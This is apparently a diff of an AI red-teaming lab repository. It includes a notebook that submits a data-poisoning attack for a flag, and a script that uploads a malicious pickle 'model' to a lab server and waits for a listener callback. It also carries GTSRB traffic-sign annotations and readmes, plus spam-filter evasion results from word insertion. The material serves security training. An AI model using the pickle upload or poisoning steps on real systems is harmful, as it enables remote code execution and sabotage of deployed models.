" print(f\"\\nFLAG: {result.get('flag')}\")\n",
|
||||
" print(f\"{'=' * 38}\")\n",
|
||||
" else:\n",
|
||||
" print(\"Evaluation Failed.\")\n",
|
||||
" oa_val = result.get(\"overall_accuracy\")\n",
|
||||
" c0a_val = result.get(\"class0_accuracy\") # Get Class 0 Accuracy\n",
|
||||
" oa_str = f\"{oa_val:.4f}\" if oa_val is not None else \"N/A\"\n",
|
||||
" c0a_str = (\n",
|
||||
" f\"{c0a_val:.4f}\" if c0a_val is not None else \"N/A\"\n",
|
||||
" ) # Get Class 0 Accuracy\n",
|
||||
"\n",
|
||||
" print(f\"Overall Accuracy evaluated: {oa_str}\")\n",
|
||||
" print(f\"Accuracy on Class 0 samples: {c0a_str}\") # Display Class 0 Accuracy\n",
|
||||
" print(f\"Message: {result.get('message', 'No message provided.')}\")\n",
|
||||
" print(\n",
|
||||
" \"\\nHints: Did the attack significantly reduce accuracy specifically for Class 0 samples?\"\n",
|
||||
" )\n",
|
||||
" print(\"Did the overall accuracy remain above the required threshold?\")\n",
|
||||
" print(\"Consider adjusting the POISON_FRACTION.\")\n",
|
||||
"\n",
|
||||
" except requests.exceptions.ConnectionError:\n",
|
||||
" print(f\"\\nConnection Error: Could not connect to {evaluator_url}.\")\n",
|
||||
" except requests.exceptions.Timeout:\n",
|
||||
" print(f\"\\nTimeout Error: Request to {evaluator_url} timed out.\")\n",
|
||||
" except requests.exceptions.RequestException as e:\n",
|
||||
" print(f\"\\nError during submission request: {e}\")\n",
|
||||
" if e.response is not None:\n",
|
||||
" print(f\"Server Response Status Code: {e.response.status_code}\")\n",
|
||||
" try:\n",
|
||||
" print(f\"Server Response Body: {e.response.json()}\")\n",
|
||||
" except json.JSONDecodeError:\n",
|
||||
" print(f\"Server Response Body (non-JSON): {e.response.text}\")\n",
|
||||
" except Exception as e:\n",
|
||||
" print(f\"\\nAn unexpected error occurred during submission: {e}\")"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 4
|
||||
}
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -0,0 +1,78 @@
|
||||
import requests
|
||||
import os
|
||||
import traceback
|
||||
|
||||
api_url = "http://10.129.7.84:5555/upload" # Replace with instance details
|
||||
|
||||
pickle_file_path = final_malicious_file
|
||||
|
||||
print(f"Attempting to upload '{pickle_file_path}' to '{api_url}'...")
|
||||
|
||||
# Check if the malicious pickle file exists locally
|
||||
if not os.path.exists(pickle_file_path):
|
||||
print(f"\nError: File not found at '{pickle_file_path}'.")
|
||||
print("Please ensure the file exists in the specified path.")
|
||||
else:
|
||||
print(f"File found at '{pickle_file_path}'. Preparing upload...")
|
||||
# Prepare the file for upload in the format requests expects
|
||||
# The key 'model' must match the key expected by the Flask app (request.files['model'])
|
||||
files_to_upload = {
|
||||
"model": (
|
||||
os.path.basename(pickle_file_path),
|
||||
open(pickle_file_path, "rb"),
|
||||
"application/octet-stream",
|
||||
)
|
||||
}
|
||||
|
||||
try:
|
||||
# Send the POST request with the file
|
||||
print("Sending POST request...")
|
||||
response = requests.post(api_url, files=files_to_upload)
|
||||
|
||||
# Print the server's response details
|
||||
print("\n--- Server Response ---")
|
||||
print(f"Status Code: {response.status_code}")
|
||||
try:
|
||||
# Try to print JSON response if available
|
||||
print("Response JSON:")
|
||||
print(response.json())
|
||||
except requests.exceptions.JSONDecodeError:
|
||||
# Otherwise, print raw text response
|
||||
print("Response Text:")
|
||||
print(response.text)
|
||||
print("--- End Server Response ---")
|
||||
|
||||
if response.status_code == 200:
|
||||
print(
|
||||
"\nUpload successful (HTTP 200). Check your listener for a connection."
|
||||
)
|
||||
else:
|
||||
print(
|
||||
f"\nUpload failed or server encountered an error (Status code: {response.status_code})."
|
||||
)
|
||||
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"\n--- Connection Error ---")
|
||||
print(f"Could not connect to the server at '{api_url}'.")
|
||||
print("Please ensure:")
|
||||
print(" 1. The API URL is correct.")
|
||||
print(" 2. Your target instance is running and the port is mapped correctly.")
|
||||
print(" 3. There are no network issues (e.g., firewall).")
|
||||
print(" 4. You have a listener running for the connection.")
|
||||
print(f"Error details: {e}")
|
||||
print("--- End Connection Error ---")
|
||||
|
||||
except Exception as e:
|
||||
print(f"\n--- An unexpected error occurred during upload ---")
|
||||
traceback.print_exc()
|
||||
print(f"Error details: {e}")
|
||||
print("--- End Unexpected Error ---")
|
||||
|
||||
finally:
|
||||
# Ensure the file handle opened for upload is closed
|
||||
if "files_to_upload" in locals() and "model" in files_to_upload:
|
||||
try:
|
||||
files_to_upload["model"][1].close()
|
||||
# print("Closed file handle for upload.")
|
||||
except Exception as e_close:
|
||||
print(f"Warning: Error closing file handle: {e_close}")
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,211 @@
|
||||
Filename;Width;Height;Roi.X1;Roi.Y1;Roi.X2;Roi.Y2;ClassId
|
||||
00000_00000.ppm;29;30;5;6;24;25;0
|
||||
00000_00001.ppm;30;30;5;5;25;25;0
|
||||
00000_00002.ppm;30;30;5;5;25;25;0
|
||||
00000_00003.ppm;31;31;5;5;26;26;0
|
||||
00000_00004.ppm;30;32;5;6;25;26;0
|
||||
00000_00005.ppm;31;31;6;6;26;26;0
|
||||
00000_00006.ppm;33;34;6;6;28;28;0
|
||||
00000_00007.ppm;34;35;6;6;29;30;0
|
||||
00000_00008.ppm;33;34;5;5;28;29;0
|
||||
00000_00009.ppm;36;36;6;5;30;30;0
|
||||
00000_00010.ppm;35;36;5;5;30;31;0
|
||||
00000_00011.ppm;37;38;6;6;32;33;0
|
||||
00000_00012.ppm;37;38;5;6;32;33;0
|
||||
00000_00013.ppm;40;39;6;5;35;34;0
|
||||
00000_00014.ppm;41;42;5;6;36;37;0
|
||||
00000_00015.ppm;44;44;6;6;39;39;0
|
||||
00000_00016.ppm;46;44;6;5;41;39;0
|
||||
00000_00017.ppm;47;48;6;6;42;42;0
|
||||
00000_00018.ppm;50;48;5;5;45;43;0
|
||||
00000_00019.ppm;53;51;5;5;48;46;0
|
||||
00000_00020.ppm;57;54;6;5;51;49;0
|
||||
00000_00021.ppm;59;58;6;6;53;53;0
|
||||
00000_00022.ppm;63;61;6;5;57;56;0
|
||||
00000_00023.ppm;70;70;7;7;64;64;0
|
||||
00000_00024.ppm;76;76;7;7;70;70;0
|
||||
00000_00025.ppm;85;86;7;8;78;79;0
|
||||
00000_00026.ppm;97;97;8;8;89;88;0
|
||||
00000_00027.ppm;108;110;9;10;99;101;0
|
||||
00000_00028.ppm;124;127;10;11;113;116;0
|
||||
00000_00029.ppm;144;148;12;13;132;136;0
|
||||
00001_00000.ppm;29;30;6;6;24;25;0
|
||||
00001_00001.ppm;30;30;6;5;25;25;0
|
||||
00001_00002.ppm;30;29;6;5;25;24;0
|
||||
00001_00003.ppm;31;31;6;6;26;26;0
|
||||
00001_00004.ppm;31;31;5;5;26;26;0
|
||||
00001_00005.ppm;32;32;6;6;27;27;0
|
||||
00001_00006.ppm;33;34;5;6;28;29;0
|
||||
00001_00007.ppm;34;33;6;5;29;28;0
|
||||
00001_00008.ppm;33;33;5;5;28;28;0
|
||||
00001_00009.ppm;34;33;6;5;29;28;0
|
||||
00001_00010.ppm;36;35;6;5;30;29;0
|
||||
00001_00011.ppm;35;36;5;6;30;31;0
|
||||
00001_00012.ppm;36;36;6;6;31;31;0
|
||||
00001_00013.ppm;36;36;5;6;31;31;0
|
||||
00001_00014.ppm;37;36;5;5;31;31;0
|
||||
00001_00015.ppm;38;38;5;6;32;33;0
|
||||
00001_00016.ppm;38;39;5;6;33;34;0
|
||||
00001_00017.ppm;39;41;5;6;34;35;0
|
||||
00001_00018.ppm;40;41;5;6;35;36;0
|
||||
00001_00019.ppm;42;43;5;5;36;37;0
|
||||
00001_00020.ppm;43;43;6;5;38;38;0
|
||||
00001_00021.ppm;45;45;6;5;40;40;0
|
||||
00001_00022.ppm;45;47;5;6;40;42;0
|
||||
00001_00023.ppm;47;48;5;5;41;42;0
|
||||
00001_00024.ppm;49;49;6;5;44;44;0
|
||||
00001_00025.ppm;50;52;5;5;45;47;0
|
||||
00001_00026.ppm;53;54;6;5;48;49;0
|
||||
00001_00027.ppm;55;56;6;5;50;51;0
|
||||
00001_00028.ppm;57;59;5;6;51;54;0
|
||||
00001_00029.ppm;59;61;5;5;54;55;0
|
||||
00002_00000.ppm;27;26;6;5;22;21;0
|
||||
00002_00001.ppm;27;28;5;6;22;23;0
|
||||
00002_00002.ppm;27;28;5;6;22;23;0
|
||||
00002_00003.ppm;30;29;6;5;25;24;0
|
||||
00002_00004.ppm;30;29;6;5;25;24;0
|
||||
00002_00005.ppm;31;31;6;6;26;26;0
|
||||
00002_00006.ppm;30;30;5;5;25;25;0
|
||||
00002_00007.ppm;32;31;6;5;27;26;0
|
||||
00002_00008.ppm;31;32;5;6;26;27;0
|
||||
00002_00009.ppm;34;33;6;5;29;28;0
|
||||
00002_00010.ppm;34;34;5;5;29;29;0
|
||||
00002_00011.ppm;35;35;5;5;30;30;0
|
||||
00002_00012.ppm;38;37;6;5;33;32;0
|
||||
00002_00013.ppm;39;39;6;6;34;34;0
|
||||
00002_00014.ppm;40;39;6;5;35;34;0
|
||||
00002_00015.ppm;41;41;6;6;36;36;0
|
||||
00002_00016.ppm;44;44;6;6;39;39;0
|
||||
00002_00017.ppm;46;45;6;5;41;40;0
|
||||
00002_00018.ppm;48;47;6;5;43;42;0
|
||||
00002_00019.ppm;51;50;6;5;46;45;0
|
||||
00002_00020.ppm;52;52;5;5;47;47;0
|
||||
00002_00021.ppm;55;55;6;6;50;50;0
|
||||
00002_00022.ppm;59;59;6;6;54;54;0
|
||||
00002_00023.ppm;62;63;5;6;57;58;0
|
||||
00002_00024.ppm;69;70;7;6;63;64;0
|
||||
00002_00025.ppm;74;75;6;6;68;69;0
|
||||
00002_00026.ppm;83;85;7;8;76;78;0
|
||||
00002_00027.ppm;92;95;8;9;84;87;0
|
||||
00002_00028.ppm;107;108;10;9;98;99;0
|
||||
00002_00029.ppm;122;124;11;11;112;114;0
|
||||
00003_00000.ppm;27;28;5;6;22;23;0
|
||||
00003_00001.ppm;28;29;5;6;22;23;0
|
||||
00003_00002.ppm;29;28;6;5;24;23;0
|
||||
00003_00003.ppm;29;30;5;6;24;25;0
|
||||
00003_00004.ppm;28;30;5;6;23;25;0
|
||||
00003_00005.ppm;31;31;6;6;25;25;0
|
||||
00003_00006.ppm;33;32;6;5;28;27;0
|
||||
00003_00007.ppm;31;33;6;6;26;28;0
|
||||
00003_00008.ppm;33;33;5;5;28;28;0
|
||||
00003_00009.ppm;34;34;5;5;29;29;0
|
||||
00003_00010.ppm;36;35;6;5;31;30;0
|
||||
00003_00011.ppm;37;37;6;6;31;31;0
|
||||
00003_00012.ppm;37;36;5;5;31;31;0
|
||||
00003_00013.ppm;38;39;5;6;32;33;0
|
||||
00003_00014.ppm;40;39;6;5;35;34;0
|
||||
00003_00015.ppm;41;40;6;5;36;35;0
|
||||
00003_00016.ppm;43;44;6;6;38;38;0
|
||||
00003_00017.ppm;43;45;5;5;38;40;0
|
||||
00003_00018.ppm;47;46;6;5;42;41;0
|
||||
00003_00019.ppm;50;50;5;5;45;45;0
|
||||
00003_00020.ppm;51;52;5;5;46;47;0
|
||||
00003_00021.ppm;53;54;5;5;48;49;0
|
||||
00003_00022.ppm;58;57;5;5;52;51;0
|
||||
00003_00023.ppm;62;60;5;6;56;55;0
|
||||
00003_00024.ppm;64;61;5;5;59;56;0
|
||||
00003_00025.ppm;70;69;6;7;64;62;0
|
||||
00003_00026.ppm;76;75;6;6;70;69;0
|
||||
00003_00027.ppm;85;84;8;8;78;76;0
|
||||
00003_00028.ppm;94;93;8;9;86;85;0
|
||||
00003_00029.ppm;109;104;10;9;100;95;0
|
||||
00004_00000.ppm;55;59;6;6;50;54;0
|
||||
00004_00001.ppm;56;60;5;5;50;54;0
|
||||
00004_00002.ppm;56;60;5;5;51;55;0
|
||||
00004_00003.ppm;57;61;5;5;52;55;0
|
||||
00004_00004.ppm;59;62;6;5;54;57;0
|
||||
00004_00005.ppm;59;63;5;5;54;58;0
|
||||
00004_00006.ppm;59;66;5;6;54;60;0
|
||||
00004_00007.ppm;63;68;6;6;57;62;0
|
||||
00004_00008.ppm;63;69;6;6;58;63;0
|
||||
00004_00009.ppm;65;70;6;6;60;64;0
|
||||
00004_00010.ppm;66;71;6;7;60;65;0
|
||||
00004_00011.ppm;68;72;6;7;61;65;0
|
||||
00004_00012.ppm;70;73;7;7;64;67;0
|
||||
00004_00013.ppm;70;74;7;7;64;67;0
|
||||
00004_00014.ppm;70;74;7;7;64;68;0
|
||||
00004_00015.ppm;72;75;7;6;65;68;0
|
||||
00004_00016.ppm;74;79;7;7;68;72;0
|
||||
00004_00017.ppm;74;80;6;8;67;73;0
|
||||
00004_00018.ppm;76;80;7;7;69;72;0
|
||||
00004_00019.ppm;77;82;7;7;71;75;0
|
||||
00004_00020.ppm;80;84;8;7;73;77;0
|
||||
00004_00021.ppm;81;85;7;7;73;78;0
|
||||
00004_00022.ppm;81;88;7;8;74;80;0
|
||||
00004_00023.ppm;84;88;8;7;76;81;0
|
||||
00004_00024.ppm;85;89;8;8;78;82;0
|
||||
00004_00025.ppm;86;93;7;8;78;84;0
|
||||
00004_00026.ppm;90;96;8;9;82;88;0
|
||||
00004_00027.ppm;95;100;9;9;87;92;0
|
||||
00004_00028.ppm;98;106;8;10;90;97;0
|
||||
00004_00029.ppm;107;110;9;10;97;101;0
|
||||
00005_00000.ppm;27;27;5;6;22;22;0
|
||||
00005_00001.ppm;29;27;6;5;24;22;0
|
||||
00005_00002.ppm;29;28;5;5;24;23;0
|
||||
00005_00003.ppm;30;28;5;5;25;23;0
|
||||
00005_00004.ppm;32;30;6;6;27;25;0
|
||||
00005_00005.ppm;31;30;5;6;26;25;0
|
||||
00005_00006.ppm;32;29;6;5;27;24;0
|
||||
00005_00007.ppm;33;30;6;5;28;25;0
|
||||
00005_00008.ppm;32;32;5;5;27;26;0
|
||||
00005_00009.ppm;34;33;6;6;29;28;0
|
||||
00005_00010.ppm;34;33;5;5;29;28;0
|
||||
00005_00011.ppm;35;33;5;5;30;28;0
|
||||
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|
||||
00005_00013.ppm;37;37;5;6;32;31;0
|
||||
00005_00014.ppm;38;37;5;5;33;32;0
|
||||
00005_00015.ppm;42;39;6;5;36;34;0
|
||||
00005_00016.ppm;43;40;6;5;38;35;0
|
||||
00005_00017.ppm;43;43;5;6;38;37;0
|
||||
00005_00018.ppm;45;44;5;6;40;39;0
|
||||
00005_00019.ppm;47;45;5;5;42;40;0
|
||||
00005_00020.ppm;49;47;5;5;44;42;0
|
||||
00005_00021.ppm;52;49;5;5;47;44;0
|
||||
00005_00022.ppm;56;54;5;5;50;49;0
|
||||
00005_00023.ppm;59;58;6;6;54;53;0
|
||||
00005_00024.ppm;63;62;5;6;58;57;0
|
||||
00005_00025.ppm;71;65;7;5;64;59;0
|
||||
00005_00026.ppm;76;72;7;6;70;66;0
|
||||
00005_00027.ppm;83;82;8;7;76;75;0
|
||||
00005_00028.ppm;95;94;9;8;87;85;0
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00003_00022.ppm;49;49;6;6;44;44;42
|
||||
00003_00023.ppm;51;51;6;5;46;45;42
|
||||
00003_00024.ppm;55;54;6;5;50;49;42
|
||||
00003_00025.ppm;56;56;6;5;51;51;42
|
||||
00003_00026.ppm;58;59;5;5;53;54;42
|
||||
00003_00027.ppm;63;67;6;6;58;61;42
|
||||
00003_00028.ppm;68;71;6;6;62;65;42
|
||||
00003_00029.ppm;74;80;7;7;68;73;42
|
||||
00004_00000.ppm;31;31;5;5;26;26;42
|
||||
00004_00001.ppm;32;31;6;5;27;26;42
|
||||
00004_00002.ppm;33;32;6;5;28;27;42
|
||||
00004_00003.ppm;33;33;5;5;28;28;42
|
||||
00004_00004.ppm;34;34;6;6;29;29;42
|
||||
00004_00005.ppm;34;33;6;5;29;28;42
|
||||
00004_00006.ppm;34;33;5;5;28;28;42
|
||||
00004_00007.ppm;34;34;5;5;29;29;42
|
||||
00004_00008.ppm;34;35;5;6;29;30;42
|
||||
00004_00009.ppm;36;35;6;5;31;30;42
|
||||
00004_00010.ppm;37;37;6;6;32;32;42
|
||||
00004_00011.ppm;38;38;6;6;33;33;42
|
||||
00004_00012.ppm;37;38;5;6;32;33;42
|
||||
00004_00013.ppm;39;40;5;6;34;35;42
|
||||
00004_00014.ppm;40;39;5;5;34;34;42
|
||||
00004_00015.ppm;41;41;5;5;36;36;42
|
||||
00004_00016.ppm;44;44;6;6;39;39;42
|
||||
00004_00017.ppm;45;44;6;5;40;39;42
|
||||
00004_00018.ppm;46;46;5;6;41;41;42
|
||||
00004_00019.ppm;48;47;6;6;43;42;42
|
||||
00004_00020.ppm;50;50;5;6;45;45;42
|
||||
00004_00021.ppm;52;52;5;6;47;47;42
|
||||
00004_00022.ppm;55;54;5;5;50;49;42
|
||||
00004_00023.ppm;58;56;6;6;52;51;42
|
||||
00004_00024.ppm;60;59;5;5;55;54;42
|
||||
00004_00025.ppm;64;61;6;5;59;56;42
|
||||
00004_00026.ppm;67;65;6;6;61;60;42
|
||||
00004_00027.ppm;71;69;7;6;65;63;42
|
||||
00004_00028.ppm;75;74;7;7;69;68;42
|
||||
00004_00029.ppm;80;76;7;6;73;70;42
|
||||
00005_00000.ppm;26;25;5;5;20;20;42
|
||||
00005_00001.ppm;27;25;5;5;21;20;42
|
||||
00005_00002.ppm;27;27;5;5;21;21;42
|
||||
00005_00003.ppm;27;26;5;5;22;21;42
|
||||
00005_00004.ppm;29;28;6;6;23;23;42
|
||||
00005_00005.ppm;29;28;6;5;23;22;42
|
||||
00005_00006.ppm;29;28;6;5;24;23;42
|
||||
00005_00007.ppm;29;30;5;6;23;24;42
|
||||
00005_00008.ppm;31;31;6;6;25;25;42
|
||||
00005_00009.ppm;30;30;5;6;24;25;42
|
||||
00005_00010.ppm;29;29;5;5;24;24;42
|
||||
00005_00011.ppm;31;31;6;6;26;26;42
|
||||
00005_00012.ppm;32;32;5;5;26;26;42
|
||||
00005_00013.ppm;32;33;5;5;27;27;42
|
||||
00005_00014.ppm;32;33;5;5;27;27;42
|
||||
00005_00015.ppm;34;31;6;5;29;26;42
|
||||
00005_00016.ppm;35;34;6;6;29;28;42
|
||||
00005_00017.ppm;35;34;5;5;29;28;42
|
||||
00005_00018.ppm;37;36;6;6;31;30;42
|
||||
00005_00019.ppm;37;36;5;5;32;31;42
|
||||
00005_00020.ppm;39;37;5;5;33;31;42
|
||||
00005_00021.ppm;40;38;5;6;35;33;42
|
||||
00005_00022.ppm;42;40;5;6;37;35;42
|
||||
00005_00023.ppm;45;42;5;5;40;37;42
|
||||
00005_00024.ppm;49;46;6;6;43;40;42
|
||||
00005_00025.ppm;49;49;6;6;44;44;42
|
||||
00005_00026.ppm;53;51;6;5;47;46;42
|
||||
00005_00027.ppm;54;54;6;6;49;49;42
|
||||
00005_00028.ppm;60;56;5;6;54;51;42
|
||||
00005_00029.ppm;62;59;6;5;56;54;42
|
||||
00006_00000.ppm;28;29;5;6;23;24;42
|
||||
00006_00001.ppm;30;31;5;6;25;26;42
|
||||
00006_00002.ppm;31;30;6;5;26;25;42
|
||||
00006_00003.ppm;31;30;6;5;26;25;42
|
||||
00006_00004.ppm;30;29;6;5;25;24;42
|
||||
00006_00005.ppm;30;31;5;6;25;26;42
|
||||
00006_00006.ppm;32;32;6;6;27;27;42
|
||||
00006_00007.ppm;33;32;6;5;28;27;42
|
||||
00006_00008.ppm;33;34;5;6;28;29;42
|
||||
00006_00009.ppm;33;34;5;6;28;29;42
|
||||
00006_00010.ppm;33;33;5;5;28;28;42
|
||||
00006_00011.ppm;36;37;5;6;31;32;42
|
||||
00006_00012.ppm;36;37;5;6;31;32;42
|
||||
00006_00013.ppm;36;37;5;6;31;32;42
|
||||
00006_00014.ppm;37;37;6;6;32;32;42
|
||||
00006_00015.ppm;37;37;5;5;32;32;42
|
||||
00006_00016.ppm;37;36;6;5;32;31;42
|
||||
00006_00017.ppm;37;38;5;6;32;33;42
|
||||
00006_00018.ppm;38;38;5;5;33;33;42
|
||||
00006_00019.ppm;40;40;6;6;35;35;42
|
||||
00006_00020.ppm;42;41;6;5;37;36;42
|
||||
00006_00021.ppm;46;46;6;6;41;41;42
|
||||
00006_00022.ppm;44;44;5;5;39;39;42
|
||||
00006_00023.ppm;46;46;5;5;41;41;42
|
||||
00006_00024.ppm;50;50;5;5;45;45;42
|
||||
00006_00025.ppm;52;52;5;5;47;47;42
|
||||
00006_00026.ppm;54;53;6;5;49;48;42
|
||||
00006_00027.ppm;57;58;5;6;52;53;42
|
||||
00006_00028.ppm;59;59;5;5;54;54;42
|
||||
00006_00029.ppm;59;62;5;5;54;57;42
|
||||
00007_00000.ppm;27;28;5;6;22;23;42
|
||||
00007_00001.ppm;28;27;6;5;23;22;42
|
||||
00007_00002.ppm;28;29;5;5;23;24;42
|
||||
00007_00003.ppm;31;31;6;5;26;26;42
|
||||
00007_00004.ppm;30;32;5;6;25;27;42
|
||||
00007_00005.ppm;30;32;5;6;25;27;42
|
||||
00007_00006.ppm;31;31;6;5;26;26;42
|
||||
00007_00007.ppm;30;32;5;6;25;27;42
|
||||
00007_00008.ppm;30;32;5;6;25;27;42
|
||||
00007_00009.ppm;32;32;6;5;27;27;42
|
||||
00007_00010.ppm;32;32;6;5;27;27;42
|
||||
00007_00011.ppm;33;34;6;6;28;29;42
|
||||
00007_00012.ppm;32;34;5;6;27;29;42
|
||||
00007_00013.ppm;34;36;5;6;29;31;42
|
||||
00007_00014.ppm;34;35;5;5;29;30;42
|
||||
00007_00015.ppm;36;37;5;5;31;32;42
|
||||
00007_00016.ppm;38;38;6;5;33;33;42
|
||||
00007_00017.ppm;38;40;5;6;33;35;42
|
||||
00007_00018.ppm;39;40;5;5;34;35;42
|
||||
00007_00019.ppm;41;41;6;5;36;36;42
|
||||
00007_00020.ppm;44;46;6;6;39;41;42
|
||||
00007_00021.ppm;44;46;5;5;39;41;42
|
||||
00007_00022.ppm;47;50;5;6;42;45;42
|
||||
00007_00023.ppm;49;50;6;5;44;45;42
|
||||
00007_00024.ppm;51;53;6;5;46;48;42
|
||||
00007_00025.ppm;52;56;5;6;47;51;42
|
||||
00007_00026.ppm;56;58;5;5;51;53;42
|
||||
00007_00027.ppm;58;62;5;6;53;57;42
|
||||
00007_00028.ppm;63;69;5;7;58;63;42
|
||||
00007_00029.ppm;68;69;7;6;62;63;42
|
||||
|
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,75 @@
|
||||
**********************************************
|
||||
The German Traffic Sign Recognition Benchmark
|
||||
**********************************************
|
||||
|
||||
This archive contains the test set of the
|
||||
"German Traffic Sign Recognition Benchmark".
|
||||
|
||||
This is the official test set that is used during the final
|
||||
competition session at IJCNN 2011. After the conference,
|
||||
it will be published on our website.
|
||||
|
||||
If you want to publish results based on GTSRB,
|
||||
this data set is to be used for final testing purposes
|
||||
only. Please use the GTSRB (final) training set for training
|
||||
(It is the joint dataset of the online competition's
|
||||
training and test set).
|
||||
|
||||
|
||||
**********************************************
|
||||
Archive content
|
||||
**********************************************
|
||||
This archive contains the following structure:
|
||||
|
||||
There is one directory that contains all test images (12,630 images)
|
||||
and one text file with annotations (GT-final_test.test.csv)
|
||||
|
||||
|
||||
**********************************************
|
||||
Image format and naming
|
||||
**********************************************
|
||||
The images are PPM images (RGB color). Files are numbered in ascending order:
|
||||
|
||||
00000.ppm to 12629.ppm
|
||||
|
||||
Images are in random order, ie. there is no track structure or class information
|
||||
as in the training set.
|
||||
|
||||
**********************************************
|
||||
Annotation format
|
||||
**********************************************
|
||||
|
||||
The annotations are stored in CSV format (field separator
|
||||
is ";" (semicolon) ). The annotations contain meta information
|
||||
about the image and the class id.
|
||||
|
||||
|
||||
In detail, the annotations provide the following fields:
|
||||
|
||||
Filename - Image file the following information applies to
|
||||
Width, Height - Dimensions of the image
|
||||
Roi.x1,Roi.y1,
|
||||
Roi.x2,Roi.y2 - Location of the sign within the image
|
||||
(Images contain a border around the actual sign
|
||||
of 10 percent of the sign size, at least 5 pixel)
|
||||
|
||||
**********************************************
|
||||
Further information
|
||||
**********************************************
|
||||
For more information on the competition procedures and to obtain the test set,
|
||||
please visit the competition website at
|
||||
|
||||
http://benchmark.ini.rub.de
|
||||
|
||||
If you have any questions, do not hesitate to contact us
|
||||
|
||||
tsr-benchmark@ini.rub.de
|
||||
|
||||
|
||||
**********************************************
|
||||
Institut für Neuroinformatik
|
||||
Real-time computer vision research group
|
||||
|
||||
Ruhr-Universität Bochum
|
||||
Germany
|
||||
**********************************************
|
||||
@@ -0,0 +1,76 @@
|
||||
**********************************************
|
||||
The German Traffic Sign Recognition Benchmark
|
||||
**********************************************
|
||||
|
||||
This archive contains the training set of the
|
||||
"German Traffic Sign Recognition Benchmark".
|
||||
|
||||
This training set is supposed be used for the online competition
|
||||
as part of the IJCNN 2011 competition. It is a subset of the final
|
||||
training set that will be published after the online competition is
|
||||
closed.
|
||||
|
||||
|
||||
**********************************************
|
||||
Archive content
|
||||
**********************************************
|
||||
This archive contains the following structure:
|
||||
|
||||
There is one directory for each of the 43 classes (0000 - 00043).
|
||||
Each directory contains the corresponding training images and one
|
||||
text file with annotations, eg. GT-00000.csv.
|
||||
|
||||
|
||||
**********************************************
|
||||
Image format and naming
|
||||
**********************************************
|
||||
The images are PPM images (RGB color). Files are numbered in two parts:
|
||||
|
||||
XXXXX_YYYYY.ppm
|
||||
|
||||
The first part, XXXXX, represents the track number. All images of one class
|
||||
with identical track numbers originate from one single physical traffic sign.
|
||||
The second part, YYYYY, is a running number within the track. The temporal order
|
||||
of the images is preserved.
|
||||
|
||||
|
||||
**********************************************
|
||||
Annotation format
|
||||
**********************************************
|
||||
|
||||
The annotations are stored in CSV format (field separator
|
||||
is ";" (semicolon) ). The annotations contain meta information
|
||||
about the image and the class id.
|
||||
|
||||
|
||||
In detail, the annotations provide the following fields:
|
||||
|
||||
Filename - Image file the following information applies to
|
||||
Width, Height - Dimensions of the image
|
||||
Roi.x1,Roi.y1,
|
||||
Roi.x2,Roi.y2 - Location of the sign within the image
|
||||
(Images contain a border around the actual sign
|
||||
of 10 percent of the sign size, at least 5 pixel)
|
||||
ClassId - The class of the traffic sign
|
||||
|
||||
|
||||
**********************************************
|
||||
Further information
|
||||
**********************************************
|
||||
For more information on the competition procedures and to obtain the test set,
|
||||
please visit the competition website at
|
||||
|
||||
http://benchmark.ini.rub.de
|
||||
|
||||
If you have any questions, do not hesitate to contact us
|
||||
|
||||
tsr-benchmark@ini.rub.de
|
||||
|
||||
|
||||
**********************************************
|
||||
Institut für Neuroinformatik
|
||||
Real-time computer vision research group
|
||||
|
||||
Ruhr-Universität Bochum
|
||||
Germany
|
||||
**********************************************
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
After Width: | Height: | Size: 82 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 63 KiB |
@@ -0,0 +1,183 @@
|
||||
{
|
||||
"white_box": [
|
||||
{
|
||||
"num_words": 0,
|
||||
"evasion_rate": 7.03125,
|
||||
"evaded": 9,
|
||||
"total": 128
|
||||
},
|
||||
{
|
||||
"num_words": 5,
|
||||
"evasion_rate": 41.40625,
|
||||
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|
||||
"total": 128
|
||||
},
|
||||
{
|
||||
"num_words": 10,
|
||||
"evasion_rate": 74.21875,
|
||||
"evaded": 95,
|
||||
"total": 128
|
||||
},
|
||||
{
|
||||
"num_words": 15,
|
||||
"evasion_rate": 96.09375,
|
||||
"evaded": 123,
|
||||
"total": 128
|
||||
},
|
||||
{
|
||||
"num_words": 20,
|
||||
"evasion_rate": 100.0,
|
||||
"evaded": 128,
|
||||
"total": 128
|
||||
},
|
||||
{
|
||||
"num_words": 25,
|
||||
"evasion_rate": 100.0,
|
||||
"evaded": 128,
|
||||
"total": 128
|
||||
},
|
||||
{
|
||||
"num_words": 30,
|
||||
"evasion_rate": 100.0,
|
||||
"evaded": 128,
|
||||
"total": 128
|
||||
},
|
||||
{
|
||||
"num_words": 35,
|
||||
"evasion_rate": 100.0,
|
||||
"evaded": 128,
|
||||
"total": 128
|
||||
},
|
||||
{
|
||||
"num_words": 40,
|
||||
"evasion_rate": 100.0,
|
||||
"evaded": 128,
|
||||
"total": 128
|
||||
}
|
||||
],
|
||||
"black_box": [],
|
||||
"top_good_words": [
|
||||
[
|
||||
"lor",
|
||||
50.94243874392973
|
||||
],
|
||||
[
|
||||
"\u00fc",
|
||||
47.57124794469911
|
||||
],
|
||||
[
|
||||
"...",
|
||||
45.80542826853246
|
||||
],
|
||||
[
|
||||
"da",
|
||||
45.69836416734876
|
||||
],
|
||||
[
|
||||
"later",
|
||||
29.966140437605727
|
||||
],
|
||||
